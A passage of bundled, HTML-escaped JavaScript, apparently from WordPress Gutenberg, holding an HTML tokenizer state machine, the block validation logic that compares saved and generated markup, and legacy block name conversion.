                &quot;commentStart&quot;
                /* commentStart */
              );
              this.delegate.beginComment();
            }
          },
          commentStart: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentStartDash&quot;
                /* commentStartDash */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          commentStartDash: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEnd&quot;
                /* commentEnd */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(&quot;-&quot;);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          comment: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEndDash&quot;
                /* commentEndDash */
              );
            } else {
              this.delegate.appendToCommentData(char);
            }
          },
          commentEndDash: function() {
            var char = this.consume();
            if (char === &quot;-&quot;) {
              this.transitionTo(
                &quot;commentEnd&quot;
                /* commentEnd */
              );
            } else {
              this.delegate.appendToCommentData(&quot;-&quot; + char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          commentEnd: function() {
            var char = this.consume();
            if (char === &quot;&gt;&quot;) {
              this.delegate.finishComment();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.appendToCommentData(&quot;--&quot; + char);
              this.transitionTo(
                &quot;comment&quot;
                /* comment */
              );
            }
          },
          tagName: function() {
            var char = this.consume();
            if (isSpace(char)) {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.appendToTagName(char);
            }
          },
          beforeAttributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              return;
            } else if (char === &quot;/&quot;) {
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else if (char === &quot;=&quot;) {
              this.delegate.reportSyntaxError(&quot;attribute name cannot start with equals sign&quot;);
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
              this.consume();
              this.delegate.appendToAttributeName(char);
            } else {
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
            }
          },
          attributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.transitionTo(
                &quot;afterAttributeName&quot;
                /* afterAttributeName */
              );
              this.consume();
            } else if (char === &quot;/&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;=&quot;) {
              this.transitionTo(
                &quot;beforeAttributeValue&quot;
                /* beforeAttributeValue */
              );
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else if (char === &#039;&quot;&#039; || char === &quot;&#039;&quot; || char === &quot;&lt;&quot;) {
              this.delegate.reportSyntaxError(char + &quot; is not a valid character within attribute names&quot;);
              this.consume();
              this.delegate.appendToAttributeName(char);
            } else {
              this.consume();
              this.delegate.appendToAttributeName(char);
            }
          },
          afterAttributeName: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              return;
            } else if (char === &quot;/&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;=&quot;) {
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeValue&quot;
                /* beforeAttributeValue */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;attributeName&quot;
                /* attributeName */
              );
              this.delegate.beginAttribute();
              this.consume();
              this.delegate.appendToAttributeName(char);
            }
          },
          beforeAttributeValue: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
            } else if (char === &#039;&quot;&#039;) {
              this.transitionTo(
                &quot;attributeValueDoubleQuoted&quot;
                /* attributeValueDoubleQuoted */
              );
              this.delegate.beginAttributeValue(true);
              this.consume();
            } else if (char === &quot;&#039;&quot;) {
              this.transitionTo(
                &quot;attributeValueSingleQuoted&quot;
                /* attributeValueSingleQuoted */
              );
              this.delegate.beginAttributeValue(true);
              this.consume();
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.beginAttributeValue(false);
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;attributeValueUnquoted&quot;
                /* attributeValueUnquoted */
              );
              this.delegate.beginAttributeValue(false);
              this.consume();
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueDoubleQuoted: function() {
            var char = this.consume();
            if (char === &#039;&quot;&#039;) {
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;afterAttributeValueQuoted&quot;
                /* afterAttributeValueQuoted */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueSingleQuoted: function() {
            var char = this.consume();
            if (char === &quot;&#039;&quot;) {
              this.delegate.finishAttributeValue();
              this.transitionTo(
                &quot;afterAttributeValueQuoted&quot;
                /* afterAttributeValueQuoted */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else {
              this.delegate.appendToAttributeValue(char);
            }
          },
          attributeValueUnquoted: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&amp;&quot;) {
              this.consume();
              this.delegate.appendToAttributeValue(this.consumeCharRef() || &quot;&amp;&quot;);
            } else if (char === &quot;&gt;&quot;) {
              this.delegate.finishAttributeValue();
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.consume();
              this.delegate.appendToAttributeValue(char);
            }
          },
          afterAttributeValueQuoted: function() {
            var char = this.peek();
            if (isSpace(char)) {
              this.consume();
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            } else if (char === &quot;/&quot;) {
              this.consume();
              this.transitionTo(
                &quot;selfClosingStartTag&quot;
                /* selfClosingStartTag */
              );
            } else if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            }
          },
          selfClosingStartTag: function() {
            var char = this.peek();
            if (char === &quot;&gt;&quot;) {
              this.consume();
              this.delegate.markTagAsSelfClosing();
              this.delegate.finishTag();
              this.transitionTo(
                &quot;beforeData&quot;
                /* beforeData */
              );
            } else {
              this.transitionTo(
                &quot;beforeAttributeName&quot;
                /* beforeAttributeName */
              );
            }
          },
          endTagOpen: function() {
            var char = this.consume();
            if (char === &quot;@&quot; || char === &quot;:&quot; || isAlpha(char)) {
              this.transitionTo(
                &quot;tagName&quot;
                /* tagName */
              );
              this.tagNameBuffer = &quot;&quot;;
              this.delegate.beginEndTag();
              this.appendToTagName(char);
            }
          }
        };
        this.reset();
      }
      EventedTokenizer2.prototype.reset = function() {
        this.transitionTo(
          &quot;beforeData&quot;
          /* beforeData */
        );
        this.input = &quot;&quot;;
        this.index = 0;
        this.line = 1;
        this.column = 0;
        this.delegate.reset();
      };
      EventedTokenizer2.prototype.transitionTo = function(state) {
        this.state = state;
      };
      EventedTokenizer2.prototype.tokenize = function(input) {
        this.reset();
        this.tokenizePart(input);
        this.tokenizeEOF();
      };
      EventedTokenizer2.prototype.tokenizePart = function(input) {
        this.input += preprocessInput(input);
        while (this.index &lt; this.input.length) {
          var handler = this.states[this.state];
          if (handler !== void 0) {
            handler.call(this);
          } else {
            throw new Error(&quot;unhandled state &quot; + this.state);
          }
        }
      };
      EventedTokenizer2.prototype.tokenizeEOF = function() {
        this.flushData();
      };
      EventedTokenizer2.prototype.flushData = function() {
        if (this.state === &quot;data&quot;) {
          this.delegate.finishData();
          this.transitionTo(
            &quot;beforeData&quot;
            /* beforeData */
          );
        }
      };
      EventedTokenizer2.prototype.peek = function() {
        return this.input.charAt(this.index);
      };
      EventedTokenizer2.prototype.consume = function() {
        var char = this.peek();
        this.index++;
        if (char === &quot;\n&quot;) {
          this.line++;
          this.column = 0;
        } else {
          this.column++;
        }
        return char;
      };
      EventedTokenizer2.prototype.consumeCharRef = function() {
        var endIndex = this.input.indexOf(&quot;;&quot;, this.index);
        if (endIndex === -1) {
          return;
        }
        var entity = this.input.slice(this.index, endIndex);
        var chars = this.entityParser.parse(entity);
        if (chars) {
          var count = entity.length;
          while (count) {
            this.consume();
            count--;
          }
          this.consume();
          return chars;
        }
      };
      EventedTokenizer2.prototype.markTagStart = function() {
        this.delegate.tagOpen();
      };
      EventedTokenizer2.prototype.appendToTagName = function(char) {
        this.tagNameBuffer += char;
        this.delegate.appendToTagName(char);
      };
      return EventedTokenizer2;
    })()
  );
  var Tokenizer = (
    /** @class */
    (function() {
      function Tokenizer2(entityParser, options) {
        if (options === void 0) {
          options = {};
        }
        this.options = options;
        this.token = null;
        this.startLine = 1;
        this.startColumn = 0;
        this.tokens = [];
        this.tokenizer = new EventedTokenizer(this, entityParser);
        this._currentAttribute = void 0;
      }
      Tokenizer2.prototype.tokenize = function(input) {
        this.tokens = [];
        this.tokenizer.tokenize(input);
        return this.tokens;
      };
      Tokenizer2.prototype.tokenizePart = function(input) {
        this.tokens = [];
        this.tokenizer.tokenizePart(input);
        return this.tokens;
      };
      Tokenizer2.prototype.tokenizeEOF = function() {
        this.tokens = [];
        this.tokenizer.tokenizeEOF();
        return this.tokens[0];
      };
      Tokenizer2.prototype.reset = function() {
        this.token = null;
        this.startLine = 1;
        this.startColumn = 0;
      };
      Tokenizer2.prototype.current = function() {
        var token = this.token;
        if (token === null) {
          throw new Error(&quot;token was unexpectedly null&quot;);
        }
        if (arguments.length === 0) {
          return token;
        }
        for (var i2 = 0; i2 &lt; arguments.length; i2++) {
          if (token.type === arguments[i2]) {
            return token;
          }
        }
        throw new Error(&quot;token type was unexpectedly &quot; + token.type);
      };
      Tokenizer2.prototype.push = function(token) {
        this.token = token;
        this.tokens.push(token);
      };
      Tokenizer2.prototype.currentAttribute = function() {
        return this._currentAttribute;
      };
      Tokenizer2.prototype.addLocInfo = function() {
        if (this.options.loc) {
          this.current().loc = {
            start: {
              line: this.startLine,
              column: this.startColumn
            },
            end: {
              line: this.tokenizer.line,
              column: this.tokenizer.column
            }
          };
        }
        this.startLine = this.tokenizer.line;
        this.startColumn = this.tokenizer.column;
      };
      Tokenizer2.prototype.beginData = function() {
        this.push({
          type: &quot;Chars&quot;,
          chars: &quot;&quot;
        });
      };
      Tokenizer2.prototype.appendToData = function(char) {
        this.current(
          &quot;Chars&quot;
          /* Chars */
        ).chars += char;
      };
      Tokenizer2.prototype.finishData = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.beginComment = function() {
        this.push({
          type: &quot;Comment&quot;,
          chars: &quot;&quot;
        });
      };
      Tokenizer2.prototype.appendToCommentData = function(char) {
        this.current(
          &quot;Comment&quot;
          /* Comment */
        ).chars += char;
      };
      Tokenizer2.prototype.finishComment = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.tagOpen = function() {
      };
      Tokenizer2.prototype.beginStartTag = function() {
        this.push({
          type: &quot;StartTag&quot;,
          tagName: &quot;&quot;,
          attributes: [],
          selfClosing: false
        });
      };
      Tokenizer2.prototype.beginEndTag = function() {
        this.push({
          type: &quot;EndTag&quot;,
          tagName: &quot;&quot;
        });
      };
      Tokenizer2.prototype.finishTag = function() {
        this.addLocInfo();
      };
      Tokenizer2.prototype.markTagAsSelfClosing = function() {
        this.current(
          &quot;StartTag&quot;
          /* StartTag */
        ).selfClosing = true;
      };
      Tokenizer2.prototype.appendToTagName = function(char) {
        this.current(
          &quot;StartTag&quot;,
          &quot;EndTag&quot;
          /* EndTag */
        ).tagName += char;
      };
      Tokenizer2.prototype.beginAttribute = function() {
        this._currentAttribute = [&quot;&quot;, &quot;&quot;, false];
      };
      Tokenizer2.prototype.appendToAttributeName = function(char) {
        this.currentAttribute()[0] += char;
      };
      Tokenizer2.prototype.beginAttributeValue = function(isQuoted) {
        this.currentAttribute()[2] = isQuoted;
      };
      Tokenizer2.prototype.appendToAttributeValue = function(char) {
        this.currentAttribute()[1] += char;
      };
      Tokenizer2.prototype.finishAttributeValue = function() {
        this.current(
          &quot;StartTag&quot;
          /* StartTag */
        ).attributes.push(this._currentAttribute);
      };
      Tokenizer2.prototype.reportSyntaxError = function(message) {
        this.current().syntaxError = message;
      };
      return Tokenizer2;
    })()
  );

  // packages/blocks/build-module/api/validation/index.mjs
  var import_es62 = __toESM(require_es6(), 1);
  var import_deprecated8 = __toESM(require_deprecated(), 1);
  var import_html_entities = __toESM(require_html_entities(), 1);

  // packages/blocks/build-module/api/validation/logger.mjs
  function createLogger() {
    function createLogHandler(logger) {
      return (message, ...args) =&gt; logger(&quot;Block validation: &quot; + message, ...args);
    }
    return {
      // eslint-disable-next-line no-console
      error: createLogHandler(console.error),
      // eslint-disable-next-line no-console
      warning: createLogHandler(console.warn),
      getItems() {
        return [];
      }
    };
  }
  function createQueuedLogger() {
    const queue = [];
    const logger = createLogger();
    return {
      error(...args) {
        queue.push({ log: logger.error, args });
      },
      warning(...args) {
        queue.push({ log: logger.warning, args });
      },
      getItems() {
        return queue;
      }
    };
  }

  // packages/blocks/build-module/api/validation/index.mjs
  var identity = (x3) =&gt; x3;
  var REGEXP_WHITESPACE = /[\t\n\r\v\f ]+/g;
  var REGEXP_ONLY_WHITESPACE = /^[\t\n\r\v\f ]*$/;
  var REGEXP_STYLE_URL_TYPE = /^url\s*\([&#039;&quot;\s]*(.*?)[&#039;&quot;\s]*\)$/;
  var BOOLEAN_ATTRIBUTES = [
    &quot;allowfullscreen&quot;,
    &quot;allowpaymentrequest&quot;,
    &quot;allowusermedia&quot;,
    &quot;async&quot;,
    &quot;autofocus&quot;,
    &quot;autoplay&quot;,
    &quot;checked&quot;,
    &quot;controls&quot;,
    &quot;default&quot;,
    &quot;defer&quot;,
    &quot;disabled&quot;,
    &quot;download&quot;,
    &quot;formnovalidate&quot;,
    &quot;hidden&quot;,
    &quot;ismap&quot;,
    &quot;itemscope&quot;,
    &quot;loop&quot;,
    &quot;multiple&quot;,
    &quot;muted&quot;,
    &quot;nomodule&quot;,
    &quot;novalidate&quot;,
    &quot;open&quot;,
    &quot;playsinline&quot;,
    &quot;readonly&quot;,
    &quot;required&quot;,
    &quot;reversed&quot;,
    &quot;selected&quot;,
    &quot;typemustmatch&quot;
  ];
  var ENUMERATED_ATTRIBUTES = [
    &quot;autocapitalize&quot;,
    &quot;autocomplete&quot;,
    &quot;charset&quot;,
    &quot;contenteditable&quot;,
    &quot;crossorigin&quot;,
    &quot;decoding&quot;,
    &quot;dir&quot;,
    &quot;draggable&quot;,
    &quot;enctype&quot;,
    &quot;formenctype&quot;,
    &quot;formmethod&quot;,
    &quot;http-equiv&quot;,
    &quot;inputmode&quot;,
    &quot;kind&quot;,
    &quot;method&quot;,
    &quot;preload&quot;,
    &quot;scope&quot;,
    &quot;shape&quot;,
    &quot;spellcheck&quot;,
    &quot;translate&quot;,
    &quot;type&quot;,
    &quot;wrap&quot;
  ];
  var MEANINGFUL_ATTRIBUTES = [
    ...BOOLEAN_ATTRIBUTES,
    ...ENUMERATED_ATTRIBUTES
  ];
  var TEXT_NORMALIZATIONS = [
    identity,
    getTextWithCollapsedWhitespace
  ];
  var REGEXP_NAMED_CHARACTER_REFERENCE = /^[\da-z]+$/i;
  var REGEXP_DECIMAL_CHARACTER_REFERENCE = /^#\d+$/;
  var REGEXP_HEXADECIMAL_CHARACTER_REFERENCE = /^#x[\da-f]+$/i;
  function isValidCharacterReference(text2) {
    return REGEXP_NAMED_CHARACTER_REFERENCE.test(text2) || REGEXP_DECIMAL_CHARACTER_REFERENCE.test(text2) || REGEXP_HEXADECIMAL_CHARACTER_REFERENCE.test(text2);
  }
  var DecodeEntityParser = class {
    /**
     * Returns a substitute string for an entity string sequence between `&amp;`
     * and `;`, or undefined if no substitution should occur.
     *
     * @param entity Entity fragment discovered in HTML.
     *
     * @return Entity substitute value.
     */
    parse(entity) {
      if (isValidCharacterReference(entity)) {
        return (0, import_html_entities.decodeEntities)(&quot;&amp;&quot; + entity + &quot;;&quot;);
      }
      return void 0;
    }
  };
  function getTextPiecesSplitOnWhitespace(text2) {
    return text2.trim().split(REGEXP_WHITESPACE);
  }
  function getTextWithCollapsedWhitespace(text2) {
    return getTextPiecesSplitOnWhitespace(text2).join(&quot; &quot;);
  }
  function getMeaningfulAttributePairs(token) {
    return (token.attributes ?? []).filter((pair) =&gt; {
      const [key, value] = pair;
      return value || key.indexOf(&quot;data-&quot;) === 0 || MEANINGFUL_ATTRIBUTES.includes(key);
    });
  }
  function isEquivalentTextTokens(actual, expected, logger = createLogger()) {
    let actualChars = actual.chars;
    let expectedChars = expected.chars;
    for (let i2 = 0; i2 &lt; TEXT_NORMALIZATIONS.length; i2++) {
      const normalize = TEXT_NORMALIZATIONS[i2];
      actualChars = normalize(actualChars);
      expectedChars = normalize(expectedChars);
      if (actualChars === expectedChars) {
        return true;
      }
    }
    logger.warning(
      &quot;Expected text `%s`, saw `%s`.&quot;,
      expected.chars,
      actual.chars
    );
    return false;
  }
  function getNormalizedLength(value) {
    if (0 === parseFloat(value)) {
      return &quot;0&quot;;
    }
    if (value.indexOf(&quot;.&quot;) === 0) {
      return &quot;0&quot; + value;
    }
    return value;
  }
  function getNormalizedStyleValue(value) {
    const textPieces = getTextPiecesSplitOnWhitespace(value);
    const normalizedPieces = textPieces.map(getNormalizedLength);
    const result = normalizedPieces.join(&quot; &quot;);
    return result.replace(REGEXP_STYLE_URL_TYPE, &quot;url($1)&quot;);
  }
  function getStyleProperties(text2) {
    const pairs = text2.replace(/;?\s*$/, &quot;&quot;).split(&quot;;&quot;).map((style) =&gt; {
      const [key, ...valueParts] = style.split(&quot;:&quot;);
      const value = valueParts.join(&quot;:&quot;);
      return [key.trim(), getNormalizedStyleValue(value.trim())];
    });
    return Object.fromEntries(pairs);
  }
  var isEqualAttributesOfName = {
    class: (actual, expected) =&gt; {
      const [actualPieces, expectedPieces] = [actual, expected].map(
        getTextPiecesSplitOnWhitespace
      );
      const actualDiff = actualPieces.filter(
        (c2) =&gt; !expectedPieces.includes(c2)
      );
      const expectedDiff = expectedPieces.filter(
        (c2) =&gt; !actualPieces.includes(c2)
      );
      return actualDiff.length === 0 &amp;&amp; expectedDiff.length === 0;
    },
    style: (actual, expected) =&gt; {
      return (0, import_es62.default)(
        ...[actual, expected].map(getStyleProperties)
      );
    },
    // For each boolean attribute, mere presence of attribute in both is enough
    // to assume equivalence.
    ...Object.fromEntries(
      BOOLEAN_ATTRIBUTES.map((attribute) =&gt; [attribute, () =&gt; true])
    )
  };
  function isEqualTagAttributePairs(actual, expected, logger = createLogger()) {
    if (actual.length !== expected.length) {
      logger.warning(
        &quot;Expected attributes %o, instead saw %o.&quot;,
        expected,
        actual
      );
      return false;
    }
    const expectedAttributes = {};
    for (let i2 = 0; i2 &lt; expected.length; i2++) {
      expectedAttributes[expected[i2][0].toLowerCase()] = expected[i2][1];
    }
    for (let i2 = 0; i2 &lt; actual.length; i2++) {
      const [name, actualValue] = actual[i2];
      const nameLower = name.toLowerCase();
      if (!expectedAttributes.hasOwnProperty(nameLower)) {
        logger.warning(&quot;Encountered unexpected attribute `%s`.&quot;, name);
        return false;
      }
      const expectedValue = expectedAttributes[nameLower];
      const isEqualAttributes = isEqualAttributesOfName[nameLower];
      if (isEqualAttributes) {
        if (!isEqualAttributes(actualValue, expectedValue)) {
          logger.warning(
            &quot;Expected attribute `%s` of value `%s`, saw `%s`.&quot;,
            name,
            expectedValue,
            actualValue
          );
          return false;
        }
      } else if (actualValue !== expectedValue) {
        logger.warning(
          &quot;Expected attribute `%s` of value `%s`, saw `%s`.&quot;,
          name,
          expectedValue,
          actualValue
        );
        return false;
      }
    }
    return true;
  }
  var isEqualTokensOfType = {
    StartTag: (actual, expected, logger = createLogger()) =&gt; {
      if (actual.tagName !== expected.tagName &amp;&amp; // Optimization: Use short-circuit evaluation to defer case-
      // insensitive check on the assumption that the majority case will
      // have exactly equal tag names.
      actual.tagName.toLowerCase() !== expected.tagName.toLowerCase()) {
        logger.warning(
          &quot;Expected tag name `%s`, instead saw `%s`.&quot;,
          expected.tagName,
          actual.tagName
        );
        return false;
      }
      return isEqualTagAttributePairs(
        ...[actual, expected].map(getMeaningfulAttributePairs),
        logger
      );
    },
    Chars: isEquivalentTextTokens,
    Comment: isEquivalentTextTokens
  };
  function getNextNonWhitespaceToken(tokens) {
    let token;
    while (token = tokens.shift()) {
      if (token.type !== &quot;Chars&quot;) {
        return token;
      }
      if (!REGEXP_ONLY_WHITESPACE.test(token.chars)) {
        return token;
      }
    }
    return void 0;
  }
  function getHTMLTokens(html2, logger = createLogger()) {
    try {
      return new Tokenizer(new DecodeEntityParser()).tokenize(
        html2
      );
    } catch {
      logger.warning(&quot;Malformed HTML detected: %s&quot;, html2);
    }
    return null;
  }
  function isClosedByToken(currentToken, nextToken) {
    if (!currentToken.selfClosing) {
      return false;
    }
    if (nextToken &amp;&amp; nextToken.tagName === currentToken.tagName &amp;&amp; nextToken.type === &quot;EndTag&quot;) {
      return true;
    }
    return false;
  }
  function isEquivalentHTML(actual, expected, logger = createLogger()) {
    if (actual === expected) {
      return true;
    }
    const [actualTokens, expectedTokens] = [actual, expected].map(
      (html2) =&gt; getHTMLTokens(html2, logger)
    );
    if (!actualTokens || !expectedTokens) {
      return false;
    }
    let actualToken, expectedToken;
    while (actualToken = getNextNonWhitespaceToken(actualTokens)) {
      expectedToken = getNextNonWhitespaceToken(expectedTokens);
      if (!expectedToken) {
        logger.warning(
          &quot;Expected end of content, instead saw %o.&quot;,
          actualToken
        );
        return false;
      }
      if (actualToken.type !== expectedToken.type) {
        logger.warning(
          &quot;Expected token of type `%s` (%o), instead saw `%s` (%o).&quot;,
          expectedToken.type,
          expectedToken,
          actualToken.type,
          actualToken
        );
        return false;
      }
      const isEqualTokens = isEqualTokensOfType[actualToken.type];
      if (isEqualTokens &amp;&amp; !isEqualTokens(actualToken, expectedToken, logger)) {
        return false;
      }
      if (isClosedByToken(actualToken, expectedTokens[0])) {
        getNextNonWhitespaceToken(expectedTokens);
      } else if (isClosedByToken(expectedToken, actualTokens[0])) {
        getNextNonWhitespaceToken(actualTokens);
      }
    }
    if (expectedToken = getNextNonWhitespaceToken(expectedTokens)) {
      logger.warning(
        &quot;Expected %o, instead saw end of content.&quot;,
        expectedToken
      );
      return false;
    }
    return true;
  }
  function validateBlock(block, blockTypeOrName = block.name) {
    const isFallbackBlock = block.name === getFreeformContentHandlerName() || block.name === getUnregisteredTypeHandlerName();
    if (isFallbackBlock) {
      return [true, []];
    }
    const logger = createQueuedLogger();
    const blockType = normalizeBlockType(blockTypeOrName);
    let generatedBlockContent;
    try {
      generatedBlockContent = getSaveContent(blockType, block.attributes);
    } catch (error) {
      logger.error(
        &quot;Block validation failed because an error occurred while generating block content:\n\n%s&quot;,
        error.toString()
      );
      return [false, logger.getItems()];
    }
    const isValid = isEquivalentHTML(
      block.originalContent,
      generatedBlockContent,
      logger
    );
    if (!isValid) {
      logger.error(
        &quot;Block validation failed for `%s` (%o).\n\nContent generated by `save` function:\n\n%s\n\nContent retrieved from post body:\n\n%s&quot;,
        blockType.name,
        blockType,
        generatedBlockContent,
        block.originalContent
      );
    }
    return [isValid, logger.getItems()];
  }
  function isValidBlockContent(blockTypeOrName, attributes, originalBlockContent) {
    (0, import_deprecated8.default)(&quot;isValidBlockContent introduces opportunity for data loss&quot;, {
      since: &quot;12.6&quot;,
      plugin: &quot;Gutenberg&quot;,
      alternative: &quot;validateBlock&quot;
    });
    const blockType = normalizeBlockType(blockTypeOrName);
    const block = {
      clientId: &quot;&quot;,
      name: blockType.name,
      isValid: true,
      attributes,
      innerBlocks: [],
      originalContent: originalBlockContent
    };
    const [isValid] = validateBlock(block, blockType);
    return isValid;
  }

  // packages/blocks/build-module/api/parser/convert-legacy-block.mjs
  function normalizeStyleStateAliases(style) {
    if (true) {
      return style;
    }
    if (!style || typeof style !== &quot;object&quot; || Array.isArray(style)) {
      return style;
    }
    let normalizedStyle = style;
    const viewportAliases = {
      &quot;@mobile&quot;: &quot;mobile&quot;,
      &quot;@tablet&quot;: &quot;tablet&quot;
    };
    Object.entries(viewportAliases).forEach(([state, legacyState]) =&gt; {
      if (!Object.hasOwn(normalizedStyle, legacyState)) {
        return;
      }
      if (normalizedStyle === style) {
        normalizedStyle = { ...normalizedStyle };
      }
      if (!Object.hasOwn(normalizedStyle, state)) {
        normalizedStyle[state] = normalizedStyle[legacyState];
      }
      delete normalizedStyle[legacyState];
    });
    return normalizedStyle;
  }
  function convertLegacyBlockNameAndAttributes(name, attributes) {
    const newAttributes = { ...attributes };
    if (&quot;core/cover-image&quot; === name) {
      name = &quot;core/cover&quot;;
    }
    if (&quot;core/text&quot; === name || &quot;core/cover-text&quot; === name) {
      name = &quot;core/paragraph&quot;;
    }
    if (name &amp;&amp; name.indexOf(&quot;core/social-link-&quot;) === 0) {
      newAttributes.service = name.substring(17);
      name = &quot;core/social-link&quot;;
    }
    if (name &amp;&amp; name.indexOf(&quot;core-embed/&quot;) === 0) {
      const providerSlug = name.substring(11);
      const deprecated13 = {
        speaker: &quot;speaker-deck&quot;,
        polldaddy: &quot;crowdsignal&quot;
      };
      newAttributes.providerNameSlug = providerSlug in deprecated13 ? deprecated13[providerSlug] : providerSlug;
      if (![&quot;amazon-kindle&quot;, &quot;wordpress&quot;].includes(providerSlug)) {
        newAttributes.responsive = true;
      }
      name = &quot;core/embed&quot;;
    }
    if (name === &quot;core/post-comment-author&quot;) {
      name = &quot;core/comment-author-name&quot;;
    }
    if (name === &quot;core/post-comment-content&quot;) {
      name = &quot;core/comment-content&quot;;
    }
    if (name === &quot;core/post-comment-date&quot;) {
      name = &quot;core/comment-date&quot;;
    }
    if (name === &quot;core/comments-query-loop&quot;) {
      name = &quot;core/comments&quot;;
      const className = newAttributes.className ?? &quot;&quot;;
      if (!className.includes(&quot;wp-block-comments-query-loop&quot;)) {
        newAttributes.className = [
          &quot;wp-block-comments-query-loop&quot;,
          className
        ].join(&quot; &quot;);
      }
    }
    if (name === &quot;core/post-comments&quot;) {
      name = &quot;core/comments&quot;;
      newAttributes.legacy = true;
    }
    const layout = attributes.layout;
    if (layout?.type === &quot;grid&quot; &amp;&amp; typeof layout?.columnCount === &quot;string&quot;) {
      newAttributes.layout = {
        ...newAttributes.layout,
        columnCount: parseInt(layout.columnCount, 10)
      };
    }
    const style = attributes.style;
    const styleLayout = style?.layout;
    if (typeof styleLayout?.columnSpan === &quot;string&quot;) {
      const columnSpanNumber = parseInt(styleLayout.columnSpan, 10);
      newAttributes.style = {
        ...newAttributes.style,
        layout: {
          ...newAttributes.style?.layout,
          columnSpan: isNaN(columnSpanNumber) ? void 0 : columnSpanNumber
        }
      };
    }
    if (typeof styleLayout?.rowSpan === &quot;string&quot;) {
      const rowSpanNumber = parseInt(styleLayout.rowSpan, 10);
      newAttributes.style = {
        ...newAttributes.style,
        layout: {
          ...newAttributes.style?.layout,
          rowSpan: isNaN(rowSpanNumber) ? void 0 : rowSpanNumber
        }
      };
    }
    const normalizedStyle = normalizeStyleStateAliases(newAttributes.style);
    if (normalizedStyle !== newAttributes.style) {
      newAttributes.style = normalizedStyle;
    }
    return [name, newAttributes];
  }

  // node_modules/hpq/es/get-path.js
  function getPath(object, path) {
    var segments = path.split(&quot;.&quot;);
    var segment;
    while (segment = segments.shift()) {
      if (!(segment in object)) {
        return;
      }
      object = object[segment];
    }
    return object;
  }

  // node_modules/hpq/es/index.js
  var getDocument = /* @__PURE__ */ (function() {
    var doc;
    return function() {
      if (!doc) {
        doc = document.implementation.createHTMLDocument(&quot;&quot;);
      }
      return doc;
    };
